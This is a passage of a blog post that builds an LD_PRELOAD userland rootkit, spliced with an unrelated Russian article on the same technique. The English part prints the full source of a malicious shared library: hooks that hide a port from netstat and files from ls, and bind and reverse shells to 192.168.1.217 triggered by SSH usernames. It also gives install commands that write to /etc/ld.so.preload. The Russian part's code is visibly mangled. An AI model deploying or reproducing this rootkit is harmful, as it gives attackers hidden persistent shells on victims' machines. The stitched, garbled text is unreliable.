tcp6 0 0 :::65065 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
udp 0 0 0.0.0.0:68 0.0.0.0:* off (0.00/0/0)
raw6 0 0 :::58 :::* 7 off (0.00/0/0)
So the first thing we’re seeing is that we use execve()
to call it, we then see it opening /proc/net/tcp
in read only mode and reading 450
bytes from the file and then closing. Later, it then writes all of that data to stdout
. Pretty straight forward stuff.
Let’s pop open /proc/net/tcp
for ourselves and see what’s there:
tokyo:~/LearningC/ # cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:FE29 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 107639 1 c563dbf8 100 0 0 10 0
1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 73178 1 cb66d650 100 0 0 10 0
So we see the same information that was printed to the terminal in hex representation. FE29
is 65065
in hex and since we’re listening on the local 0.0.0.0
interface, it’s prepended by 00000000
. There is no remote address information because we’re not connected.
So netstat
reads this file and then stores that in a read buffer which is then interpreted and written to the terminal.
We need a way to intercept a portion of this process and alter the results so that the FE29
entries are not passed back to the end user of netstat
. To accomplish this, I created an fopen()
hook which is a higher-level wrapper function and not quite a syscall like open()
. netstat
actually calls fopen()
which in turn calls lower level functions and syscalls. Here is the entire hook, and we will explain the whole thing:
FILE *(*orig_fopen)(const char *pathname, const char *mode);
FILE *fopen(const char *pathname, const char *mode)
{
orig_fopen = dlsym(RTLD_NEXT, "fopen");
char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
FILE *fp;
if (ptr_tcp != NULL)
{
char line[256];
FILE *temp = tmpfile();
fp = orig_fopen(pathname, mode);
while (fgets(line, sizeof(line), fp))
{
char *listener = strstr(line, KEY_PORT);
if (listener != NULL)
{
continue;
}
else
{
fputs(line, temp);
}
}
return temp;
}
fp = orig_fopen(pathname, mode);
return fp;
}
Let’s explain this line by line:
FILE *(*orig_fopen)(const char *pathname, const char *mode);
we are declaring a pointer to the functionorig_fopen
which has the exact definition of the legitimatefopen()
function. This will later become our reference to the real function;FILE *fopen(const char *pathname, const char *mode)
this is our hook, this is what the calling program sees and recognizes as the offical definition offopen()
;orig_fopen = dlsym(RTLD_NEXT, "fopen");
we are initializing the pointer we declared earlier. We now have the address of the realfopen()
function so that we can pass execution to it when needed;char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
we are declaring a pointer that will be initialized if thepathname
passed as an argument tofopen()
by the calling program has a substring match with"/proc/net/tcp"
;FILE *fp;
we are using theFILE
keyword to declare a pointer namedfp
that is of theFILE
structure type. This will be normally the type of returned variable type of anfopen()
function call so we need to initialize this with afopen()
call later;if (ptr_tcp != NULL)
if there’s a match, and the file being opened is our/proc/net/tcp
, do something;char line[256];
we are declaring a character array of 255 bytes and a null terminator;FILE *temp = tmpfile();
we are declaring AND initializing anotherFILE
pointer, this one namedtemp
, which points to a temporary file that lives in/tmp
as long asnetstat
is running;fp = orig_fopen(pathname, mode);
we’ve now finally initialized thefp
FILE
pointer and we have a pointer to the/proc/net/tcp
file that’s been opened;while (fgets(line, sizeof(line), fp))
we are usingfgets()
to grab a line of thefp
(/proc/net/tcp
) file at a time. As long as there are lines to grab (while True
), do something;char *listener = strstr(line, KEY_PORT);
we are declaring a pointer namedlistener
that will be initialized if there is a substring match between the line we just collected from/proc/net/tcp
andKEY_PORT
which we have defined asFE29
(the hex representation of65065
);- Next, we have an
if
statementif (listener != NULL)
so that iflistener
isn’tNULL
, wecontinue
meaning, we won’t actually do anything with that line, leave that line in the ether; - BUT, if the pointer isn’t
NULL
, wefputs(line, temp);
which means that we place that line in our temporary file; return temp;
here we just returntemp
, which is the result of ourfopen()
function to our temporary file, back to the end-user for futher processing;- finally, if
/proc/net/tcp
is NOT being opened, we simply pass execution to the realfopen()
withfp = orig_fopen(pathname, mode);
andreturn fp;
.
Phew, that was quite a bit. I was quite proud of this one, there is definitely a memory leak in here somewhere but it works! When the user calls netstat
its going to open /proc/net/tcp
our hook will then create a temporary file and copy everything BUT our malicious connection into the temporary file and then present that temporary file to the end user. As a bonus, that file only lives on disk in /tmp
for as long as netstat
runs, which is not very long. That owns.
This hook also destroys lsof
ability to check the port as well. I’m not quite sure how this is accomplished yet, but we’ve effectively hidden from two powerful utilities with our simple C.
Hiding from /bin/ls
After consulting some resources, namely this explanation of ls here, I knew I had to hook the readdir()
function which again is a higher-level wrapper which calls getdents()
. We can see this in the strace
output:
tokyo:~/LearningC/ # strace /bin/ls execve("/bin/ls", ["/bin/ls"], 0xbfbf4890 /* 47 vars */) = 0
-----snip-----
getdents64(3, /* 34 entries */, 32768) = 1064
getdents64(3, /* 0 entries */, 32768) = 0
close(3)
We see that getdents()
getting the directory entries for the 3
file descriptor and brings back 34
entries with a size of 1064
. So we have to figure out how readdir()
works.
The manpage defines the function: struct dirent *readdir(DIR *dirp);
.
So it returns a pointer to the next dirent
structure in the directory. Here is the definition in glibc
of the dirent
struct:
struct dirent {
ino_t d_ino; /* Inode number */
off_t d_off; /* Not an offset; see below */
unsigned short d_reclen; /* Length of this record */
unsigned char d_type; /* Type of file; not supported
by all filesystem types */
char d_name[256]; /* Null-terminated filename */
}
The only member that is mandatory in the structure is the d_name
which is the null-terminated filename of the entry. That seems pretty easy actually. We can actually key in on this fact, that d_name
is mandatory, and compare its value for entries to a string, such as rootkit.txt
and somehow manipulate the function to skip our entries. Let’s actually do that! Here is our hook for readdir()
:
struct dirent *(*old_readdir)(DIR *dir);
struct dirent *readdir(DIR *dirp)
{
old_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *dir;
while (dir = old_readdir(dirp))
{
if(strstr(dir->d_name,FILENAME) == 0) break;
}
return dir;
}
I got this hook from basically just following the walkthrough on this blog: https://ketansingh.net/overview-on-linux-userland-rootkits/
We can go through it piece by piece:
struct dirent *(*old_readdir)(DIR *dir);
same thing as our hook forfopen()
, we’re declaring a function that will later be initialized to point towards the address of the realreaddir()
;struct dirent *readdir(DIR *dirp)
we are declaring a function which perfectly matches the definition of the legitimatereaddir()
function;old_readdir = dlsym(RTLD_NEXT, "readdir");
we are initializing the function we declared so that it points to the realreaddir()
;while (dir = old_readdir(dirp))
we are saying, while it is true that the legitimatereaddir()
is still iterating through directory entries and returning a value, do something;if(strstr(dir->d_name,FILENAME) == 0) break;
we are comparingFILENAME
, which is a definiton, to thed_name
member of thedir
struct returned by ourold_readdir()
and if a match is found (that is, a0
is returned), we arebreaking
on that entry and skipping over it;- finally, we
return dir
to complete the function’s called purpose.
With this setup, we can hide arbitrary files from /bin/ls
.
Actually Using the Damn Rootkit
Let’s actually use this thing. Let’s pretend we’re root on our victim machine, and it’s time to install the malicious library.
- Let’s set all the definitions specific for the victim host and compile the library. Let’s give it a non-descriptive name, something that will blend in to the naked eye. (And let’s put “man” in the file name because Manteau). Let’s compile our C file with:
gcc manteau.c -fPIC -shared -D_GNU_SOURCE -o libc.man.so.6 -ldl
- Let’s
wget
that to the victim, in our case an i386 Ubuntu machine running SSH.root@ubuntu:/home/manteau# wget http://192.168.1.218/libc.man.so.6
- Let’s move it to the correct library that other shared libaries reside, on our victim that’s in
/lib/i386-linux-gnu/
root@ubuntu:/home/manteau# mv libc.man.so.6 /lib/i386-linux-gnu/libc.man.so.6
- Let’s now put a reference to our malicious shared library in the
/etc/ld.so.preload
file.root@ubuntu:/home/manteau# echo "/lib/i386-linux-gnu/libc.man.so.6" > /etc/ld.so.preload
- Let’s check that it took by using
ldd
on something like/bin/ls
and see if our malicious library is the first shared library loaded into memory.root@ubuntu:/home/manteau# ldd /bin/ls linux-gate.so.1 => (0xb7f06000) /lib/i386-linux-gnu/libc.man.so.6 (0xb7efc000) libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7ec0000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d0a000) libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7d05000) libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7c90000) /lib/ld-linux.so.2 (0xb7f08000) libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7c73000)
- Hell yes. It worked. Ours is the second entry. Let’s restart syslog and then get a connection. We’ll use the trigger for plaintext reverse shell on port 443 on our attacker.
root@ubuntu:/home/manteau# systemctl restart ssh
- Start a listener, and send our trigger.
tokyo:~/LearningC/ # nc -lvp 443 -4 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:443
tokyo:~/LearningC/ # ssh reverseshell4@192.168.1.192 reverseshell4@192.168.1.192's password:
tokyo:~/LearningC/ # nc -lvp 443 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 192.168.1.192. Ncat: Connection from 192.168.1.192:65065.
- Let’s use our sudo privs we left ourselves and escalate to root real quick
id uid=104(syslog) gid=108(syslog) groups=108(syslog),4(adm) sudo su id uid=0(root) gid=0(root) groups=0(root)
- Let’s check
netstat
for our malicious connection on the victim,root@ubuntu:/home/manteau# netstat -ano | grep -v unix Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer udp 0 0 127.0.1.1:53 0.0.0.0:* off (0.00/0/0) udp 0 0 0.0.0.0:68 0.0.0.0:* off (0.00/0/0) udp 0 0 0.0.0.0:631 0.0.0.0:* off (0.00/0/0) udp 0 0 0.0.0.0:43212 0.0.0.0:* off (0.00/0/0) udp 0 0 0.0.0.0:5353 0.0.0.0:* off (0.00/0/0) udp 0 0 0.0.0.0:33102 0.0.0.0:* off (0.00/0/0) udp6 0 0 :::52795 :::* off (0.00/0/0) udp6 0 0 :::5353 :::* off (0.00/0/0) raw6 0 0 :::58 :::* 7 off (0.00/0/0) Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path
- Awesome. Our connection on local port
65065
is not shown. Let’s try looking in/etc
for/etc/ld.so.preload
which was the file I chose to hide.root@ubuntu:/home/manteau# ls -lah /etc -----snip----- -rw-r--r-- 1 root root 110 Feb 20 2019 kernel-img.conf -rw-r--r-- 1 root root 1.3K Mar 10 2016 kerneloops.conf drwxr-xr-x 2 root root 4.0K Sep 22 06:46 ldap -rw-r--r-- 1 root root 88K Oct 1 18:40 ld.so.cache -rw-r--r-- 1 root root 34 Jan 27 2016 ld.so.conf drwxr-xr-x 2 root root 4.0K Jun 1 12:18 ld.so.conf.d -rw-r--r-- 1 root root 267 Oct 22 2015 legal -rw-r--r-- 1 root root 27 Jan 7 2015 libao.conf -rw-r--r-- 1 root root 191 Jan 18 2016 libaudit.conf -----snip-----
- Finally,
/etc/ld.so.preload
is hidden and this is good because I think on most systems it wouldn’t exist.
Potential Upgrades for the Library
If you liked this post, and you want to take the library further, I have some ideas on what can be improved:
- Get rid of the
syslog
trigger, and develop a trigger for thesshd
service itself, that way we can get on the box as root without any privesc bread crumbs - Code up an
openssl
back connect client/server program so we can get encrypted comms - Do away with the magic port number hook and instead implement a magic
GID
which you can set as root on the processes you run - Extra Bonus: Patch the dynamic linker so that it doesn’t reference /etc/ld.so.preload but silently references a different directory which you have hidden. The dynamic linker should still report that it checks /etc/ld.so.preload but we will know better
Conclusion
With some creative thinking and copy/paste, we were able to do quite a lot of bad things with some simple C. A lot of systems programming is done in C. If we want to get good at binary exploitation, reverse engineering, vulnerability research, etc., we’re going to have to be comfortable with C.
Outside of my solution for hiding from netstat
, a lot of these ideas have been done before and I leaned heavily on reference material. I’ll include a resources section at the bottom.
Complete Malicious Library
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <dlfcn.h>
#include <dirent.h>
#include <arpa/inet.h>
//bind-shell definitions
#define KEY_4 "notavaliduser4"
#define KEY_6 "notavaliduser6"
#define PASS "areallysecurepassword1234!@#$"
#define LOC_PORT 65065
//reverse-shell definitions
#define KEY_R_4 "reverseshell4"
#define KEY_R_6 "reverseshell6"
#define REM_HOST4 "192.168.1.217"
#define REM_HOST6 "::1"
#define REM_PORT 443
//filename to hide
#define FILENAME "ld.so.preload"
//hex represenation of port to hide for /proc/net/tcp reads
#define KEY_PORT "FE29"
int ipv6_bind (void)
{
struct sockaddr_in6 addr;
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(LOC_PORT);
addr.sin6_addr = in6addr_any;
int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
const static int optval = 1;
setsockopt(sockfd, IPPROTO_IPV6, IPV6_V6ONLY, &optval, sizeof(optval));
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
listen(sockfd, 0);
int new_sockfd = accept(sockfd, NULL, NULL);
for (int count = 0; count < 3; count++)
{
dup2(new_sockfd, count);
}
char input[30];
read(new_sockfd, input, sizeof(input));
input[strcspn(input, "n")] = 0;
if (strcmp(input, PASS) == 0)
{
execve("/bin/sh", NULL, NULL);
close(sockfd);
}
else
{
shutdown(new_sockfd, SHUT_RDWR);
close(sockfd);
}
}
int ipv4_bind (void)
{
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(LOC_PORT);
addr.sin_addr.s_addr = INADDR_ANY;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
const static int optval = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
listen(sockfd, 0);
int new_sockfd = accept(sockfd, NULL, NULL);
for (int count = 0; count < 3; count++)
{
dup2(new_sockfd, count);
}
char input[30];
read(new_sockfd, input, sizeof(input));
input[strcspn(input, "n")] = 0;
if (strcmp(input, PASS) == 0)
{
execve("/bin/sh", NULL, NULL);
close(sockfd);
}
else
{
shutdown(new_sockfd, SHUT_RDWR);
close(sockfd);
}
}
int ipv6_rev (void)
{
const char* host = REM_HOST6;
struct sockaddr_in6 addr;
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(REM_PORT);
inet_pton(AF_INET6, host, &addr.sin6_addr);
struct sockaddr_in6 client;
client.sin6_family = AF_INET6;
client.sin6_port = htons(LOC_PORT);
client.sin6_addr = in6addr_any;
int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
bind(sockfd, (struct sockaddr*) &client, sizeof(client));
connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));
for (int count = 0; count < 3; count++)
{
dup2(sockfd, count);
}
execve("/bin/sh", NULL, NULL);
close(sockfd);
return 0;
}
int ipv4_rev (void)
{
const char* host = REM_HOST4;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(REM_PORT);
inet_aton(host, &addr.sin_addr);
struct sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(LOC_PORT);
client.sin_addr.s_addr = INADDR_ANY;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
bind(sockfd, (struct sockaddr*) &client, sizeof(client));
connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));
for (int count = 0; count < 3; count++)
{
dup2(sockfd, count);
}
execve("/bin/sh", NULL, NULL);
close(sockfd);
return 0;
}
ssize_t write(int fildes, const void *buf, size_t nbytes)
{
ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
ssize_t result;
new_write = dlsym(RTLD_NEXT, "write");
char *bind4 = strstr(buf, KEY_4);
char *bind6 = strstr(buf, KEY_6);
char *rev4 = strstr(buf, KEY_R_4);
char *rev6 = strstr(buf, KEY_R_6);
if (bind4 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv4_bind();
}
else if (bind6 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv6_bind();
}
else if (rev4 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv4_rev();
}
else if (rev6 != NULL)
{
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = new_write(fildes, buf, nbytes);
ipv6_rev();
}
else
{
result = new_write(fildes, buf, nbytes);
}
return result;
}
struct dirent *(*old_readdir)(DIR *dir);
struct dirent *readdir(DIR *dirp)
{
old_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *dir;
while (dir = old_readdir(dirp))
{
if(strstr(dir->d_name,FILENAME) == 0) break;
}
return dir;
}
struct dirent64 *(*old_readdir64)(DIR *dir);
struct dirent64 *readdir64(DIR *dirp)
{
old_readdir64 = dlsym(RTLD_NEXT, "readdir64");
struct dirent64 *dir;
while (dir = old_readdir64(dirp))
{
if(strstr(dir->d_name,FILENAME) == 0) break;
}
return dir;
}
FILE *(*orig_fopen64)(const char *pathname, const char *mode);
FILE *fopen64(const char *pathname, const char *mode)
{
orig_fopen64 = dlsym(RTLD_NEXT, "fopen64");
char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
FILE *fp;
if (ptr_tcp != NULL)
{
char line[256];
FILE *temp = tmpfile64();
fp = orig_fopen64(pathname, mode);
while (fgets(line, sizeof(line), fp))
{
char *listener = strstr(line, KEY_PORT);
if (listener != NULL)
{
continue;
}
else
{
fputs(line, temp);
}
}
return temp;
}
fp = orig_fopen64(pathname, mode);
return fp;
}
FILE *(*orig_fopen)(const char *pathname, const char *mode);
FILE *fopen(const char *pathname, const char *mode)
{
orig_fopen = dlsym(RTLD_NEXT, "fopen");
char *ptr_tcp = strstr(pathname, "/proc/net/tcp");
FILE *fp;
if (ptr_tcp != NULL)
{
char line[256];
FILE *temp = tmpfile();
fp = orig_fopen(pathname, mode);
while (fgets(line, sizeof(line), fp))
{
char *listener = strstr(line, KEY_PORT);
if (listener != NULL)
{
continue;
}
else
{
fputs(line, temp);
}
}
return temp;
}
fp = orig_fopen(pathname, mode);
return fp;
}
References
I apologize if I left anyone off, writing this thing was a blur, I had so many tabs open that they barely could fit favicons on them.
- /bin/ls explanation
- lsof guide
- ephermeral port allocation
- Jynx explainer
- userland LD_PRELOAD rootkits
- hooking shared library functions
- socket programming in C
- @epi052 socket programming recommendation
- Jynx2 source code
- ipv6 socket programming
- iamrastating socket programming
- detecting and analyzing LD_PRELOAD rootkits
Содержание
- 1 Переопределение системных вызовов
- 2 Обработка сбоев
- 3 Скрываем файл из листинга ls
- 3.1 Используем /etc/ld.so.preload
- 4 Скрываем ld.so.preload
- 5 Погружаемся глубже
- 6 Скрываем процесс с помощью LD_PRELOAD
- 6.1 libprocesshider
- 7 Sysdig как решение
В никсах существует переменная среды, при указании которой ваши библиотеки будут загружаться раньше остальных. А это значит, что появляется возможность подменить системные вызовы. Называется переменная
LD_PRELOAD, и в этой статье мы подробно обсудим ее значение в сокрытии (и обнаружении!) руткитов.
Еще по теме: Способы получить права root в Linux
Официально главное предназначение LD_PRELOAD — отладка или проверка функций в динамически подключаемых библиотеках. Если не хотите исправлять и перекомпилировать саму библиотеку, то можно воспользоваться переменной среды.
К примеру, если нам нужно предзагрузить библиотеку ld.so, то у нас будет два способа:
- Установить переменную среды
LD_PRELOAD с файлом библиотеки. - Записать путь к библиотеке в файл
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload.
В первом случае мы объявляем переменную с библиотекой для текущего пользователя и его окружения. Во втором же наша библиотека будет загружена раньше остальных для всех пользователей системы.
Нам интересен как раз второй способ: именно он часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, листинг директории, процессов и прочих функций, позволяющих злоумышленнику скрывать свое присутствие в системе.
Вся информация предоставлена исключительно в ознакомительных целях. Статья написана для пентестеров. Ни автор, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Переопределение системных вызовов
Прежде чем мы начнем сближение с реальными функциями руткитов, давайте на небольшом примере покажу, как можно перехватить вызов стандартной функции malloc().
Для этого напишем простую программу, которая выделяет блок памяти с помощью функции
malloc(<wbr />), затем помещает в него функцией
strncpy(<wbr />) строку
I‘ll <wbr />be <wbr />back и выводит ее посредством
fprintf(<wbr />) по адресу, который вернула
malloc(<wbr />).
Создаем файл
call_malloc.<wbr />c:
#include #include #include #include int main() { char *alloc = (char *)malloc(0x100); strncpy(alloc, «I’ll be back», 14); fprintf(stderr, «malloc(): %pnStr: %sn», alloc, alloc); } |
Теперь напишем программу, переопределяющую
malloc(<wbr />). Внутри — функция с тем же именем, что и в libc. Наша функция не делает ничего, кроме вывода строки в
STDERR c помощью
fprintf(<wbr />). Создадим файл
libmalloc.<wbr />c:
#define _GNU_SOURCE #include #include #include void *malloc(size_t size) { fprintf(stderr, «nHijacked malloc(%ld)nn», size); return 0; } |
Теперь с помощью GCC скомпилируем наш код:
$ ls call_malloc.c libmalloc.c $ gcc —Wall —fPIC —shared —o libmalloc.so libmalloc.c —ldl $ gcc —o call_malloc call_malloc.c $ ls call_malloc call_malloc.c libmalloc.c libmalloc.so |
Выполним нашу программу
call_malloc:
$ ./call_malloc malloc(): 0x5585b2466260 Str: I‘ll be back |
Посмотрим, какие библиотеки использует наша программа, с помощью утилиты ldd:
$ ldd ./call_malloc linux—vdso.so.1 (0x00007fff0cd81000) libc.so.6 => /lib/x86_64—linux—gnu/libc.so.6 (0x00007f0d35c74000) /lib64/ld—linux—x86—64.so.2 (0x00007f0d35e50000) |
Отлично видно, что без использования предзагрузчика
LD_PRELOAD стандартно загружаются три библиотеки:
-
linux—vdso.<wbr />so.<wbr />1 — представляет собой виртуальный динамический разделяемый объект (Virtual Dynamic Shared Object, VDSO), используемый для оптимизации часто используемых системных вызовов. Его можно игнорировать (подробнее —
man <wbr />7 <wbr />vdso). -
libc.<wbr />so.<wbr />6 — библиотека libc с используемой нами функцией
malloc(<wbr />) в программе
call_malloc. - ld—linux—x86—64.<wbr />so.<wbr />2 — сам динамический компоновщик.
Теперь давайте определим переменную
LD_PRELOAD и попробуем перехватить
malloc(<wbr />). Здесь я не буду использовать export и ограничусь однострочной командой для простоты:
$ LD_PRELOAD=./libmalloc.so ./call_malloc Hijacked malloc(256) Ошибка сегментирования |
Мы успешно перехватили
malloc(<wbr />) из библиотеки
libc.<wbr />so, но сделали это не совсем чисто. Функция возвращает значение указателя NULL, что при разыменовании
strncpy(<wbr />) в программе
./<wbr />call_malloc вызывает ошибку сегментирования. Исправим это.
Еще по теме: Перехват вызовов функций WinAPI
Обработка сбоев
Чтобы иметь возможность незаметно выполнить полезную нагрузку руткита, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть два способа решить эту проблему:
- наша функция
malloc(<wbr />) должна реализовывать функциональность
malloc(<wbr />) библиотеки libc по запросу пользователя. Это полностью избавит от необходимости использовать
malloc(<wbr />) из
libc.<wbr />so; -
libmalloc.<wbr />so каким‑то образом должна иметь возможность вызывать
malloc(<wbr />) из библиотеки libc и возвращать результаты вызывающей программе.
Каждый раз при вызове
malloc(<wbr />) динамический компоновщик вызывает версию
malloc(<wbr />) из
libmalloc.<wbr />so, поскольку это первое вхождение
malloc(<wbr />). Но мы хотим вызвать следующее вхождение
malloc(<wbr />) — то, что находится в
libc.<wbr />so.
Так происходит потому, что динамический компоновщик внутри использует функцию
dlsym(<wbr />) из
/<wbr />usr/<wbr />include/<wbr />dlfcn.<wbr />h для поиска адреса загруженного в память.
По умолчанию в качестве первого аргумента для
dlsym(<wbr />) используется дескриптор
RTLD_DEFAULT, который возвращает адрес первого вхождения символа. Однако есть еще один псевдоуказатель динамической библиотеки —
RTLD_NEXT, который ищет следующее вхождение. Используя
RTLD_NEXT, мы можем найти функцию
malloc(<wbr />) библиотеки
libc.<wbr />so.
Отредактируем
libmalloc.<wbr />с. Комментарии объясняют, что происходит внутри программы:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
#define _GNU_SOURCE #include #include #include #include #include // Определяем макрос, который является // названием скрываемого файла #define RKIT «rootkit.so» // Здесь все то же, что и в примере с malloc() struct dirent* (*orig_readdir)(DIR *) = NULL; struct dirent *readdir(DIR *dirp) { if (orig_readdir == NULL) orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»); // Вызов orig_readdir() для получения каталога struct dirent *ep = orig_readdir(dirp); while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) ) ep = orig_readdir(dirp); return ep; } |
В цикле проверяется, не NULL ли значение директории, затем вызывается
strncmp(<wbr />) для проверки, совпадает ли
d_name каталога с RKIT (файла с руткитом). Если оба условия верны, вызывается функция
orig_readdir(<wbr />) для чтения следующей записи каталога. При этом пропускаются все директории, у которых
d_name начинается с
rootkit.<wbr />so.
Теперь давайте посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:
$ gcc —Wall —fPIC —shared —o libmalloc.so libmalloc.c —ldl $ LD_PRELOAD=./libmalloc.so ./call_malloc Hijacked malloc(256) malloc(): 0x55ca92740260 Str: I‘ll be back |
Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении
malloc(<wbr />) была использована наша реализация этой функции, а затем оригинальная реализация из библиотеки
libc.<wbr />so.
Теперь, когда мы понимаем, как работает
LD_PRELOAD и каким образом мы можем предопределять работу со стандартными функциями системы, самое время применить эти знания на практике.
Попробуем сделать так, чтобы утилита ls, когда выводит список файлов, пропускала руткит.
Скрываем файл из листинга ls
Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты ldd посмотрим, какие библиотеки использует программа ls:
$ ldd /bin/ls ... libc.so.6 => /lib/x86_64—linux—gnu/libc.so.6 (0x00007f1ade498000) ... |
Получается, ls динамически скомпилирована с использованием функций библиотеки
libc.<wbr />so. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита ls. Для этого в пустой директории выполним
ltrace <wbr />ls:
$ ltrace ls memcpy(0x55de4a72e9b0, «.», 2) = 0x55de4a72e9b0 __errno_location() = 0x7f3a35b07218 opendir(«.») = 0x55de4a72e9d0 readdir(0x55de4a72e9d0) = 0x55de4a72ea00 readdir(0x55de4a72e9d0) = 0x55de4a72ea18 readdir(0x55de4a72e9d0) = 0 closedir(0x55de4a72e9d0) = 0 |
Очевидно, что при выполнении команды без аргументов ls использует системные вызовы
opendir(<wbr />),
readdir(<wbr />) и
closedir(<wbr />), которые входят в библиотеку libc. Давайте теперь задействуем
LD_PRELOAD и переопределим эти стандартные вызовы своими. Напишем простую библиотеку, в которой изменим функцию
readdir(<wbr />), чтобы она скрывала наш файл с кодом.
Здесь мы уже переходим к написанию простого руткита без нагрузки. Все, что он будет делать, — это прятать сам себя от глаз администратора системы.
Я создал директорию
rootkit и дальше буду работать в ней. Создадим файл
rkit.<wbr />c.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#define _GNU_SOURCE #include #include #include #include #include #define RKIT «rootkit.so» #define LD_PL «ld.so.preload» struct dirent* (*orig_readdir)(DIR *) = NULL; struct dirent *readdir(DIR *dirp) { if (orig_readdir == NULL) orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»); struct dirent *ep = orig_readdir( dirp ); while ( ep != NULL && ( !strncmp(ep->d_name, RKIT, strlen(RKIT)) || !strncmp(ep->d_name, LD_PL, strlen(LD_PL)) )) { ep = orig_readdir(dirp); } return ep; } |
Компилируем и проверяем работу:
$ gcc —Wall —fPIC —shared —o rootkit.so rkit.c —ldl $ ls —lah итого 28K drwxr—xr—x 2 n0a n0a 4,0K ноя 23 23:46 . drwxr—xr—x 4 n0a n0a 4,0K ноя 23 23:33 .. —rw—r—r— 1 n0a n0a 496 ноя 23 23:44 rkit.c —rwxr—xr—x 1 n0a n0a 16K ноя 23 23:46 rootkit.so $ LD_PRELOAD=./rootkit.so ls —lah итого 12K drwxr—xr—x 2 n0a n0a 4,0K ноя 23 23:46 . drwxr—xr—x 4 n0a n0a 4,0K ноя 23 23:33 .. —rw—r—r— 1 n0a n0a 496 ноя 23 23:44 rkit.c |
Нам удалось скрыть файл
rootkit.<wbr />so от посторонних глаз. Пока мы тестировали библиотеку исключительно в пределах одной команды.
Используем /etc/ld.so.preload
Давайте воспользуемся записью в
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload для сокрытия нашего файла от всех пользователей системы. Для этого запишем в
ld.<wbr />so.<wbr />preload путь до нашей библиотеки:
# ls rkit.c rootkit.so # echo $(pwd)/rootkit.so > /etc/ld.so.preload # ls rkit.c |
Теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но опытный администратор довольно легко нас обнаружит, так как само по себе наличие файла
/<wbr />etc/<wbr />ld.<wbr />so.<wbr />preload может говорить о присутствии руткита — особенно если раньше такого файла не было.
Скрываем ld.so.preload
Давайте попытаемся скрыть из листинга и сам файл
ld.<wbr />so.<wbr />preload. Немного модифицируем код
rkit.<wbr />c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#define _GNU_SOURCE #include #include #include #include #include #define RKIT «rootkit.so» #define LD_PL «ld.so.preload» struct dirent* (*orig_readdir)(DIR *) = NULL; struct dirent *readdir(DIR *dirp) { if (orig_readdir == NULL) orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, «readdir»); struct dirent *ep = orig_readdir( dirp ); while ( ep != NULL && ( !strncmp(ep->d_name, RKIT, strlen(RKIT)) || !strncmp(ep->d_name, LD_PL, strlen(LD_PL)) )) { ep = orig_readdir(dirp); } return ep; } |
Для наглядности я добавил к предыдущей программе еще один макрос
LD_PL c именем файла
ld.<wbr />so.<wbr />preload, который мы также добавили в цикл
while, где сравниваем имя файла для скрытия.
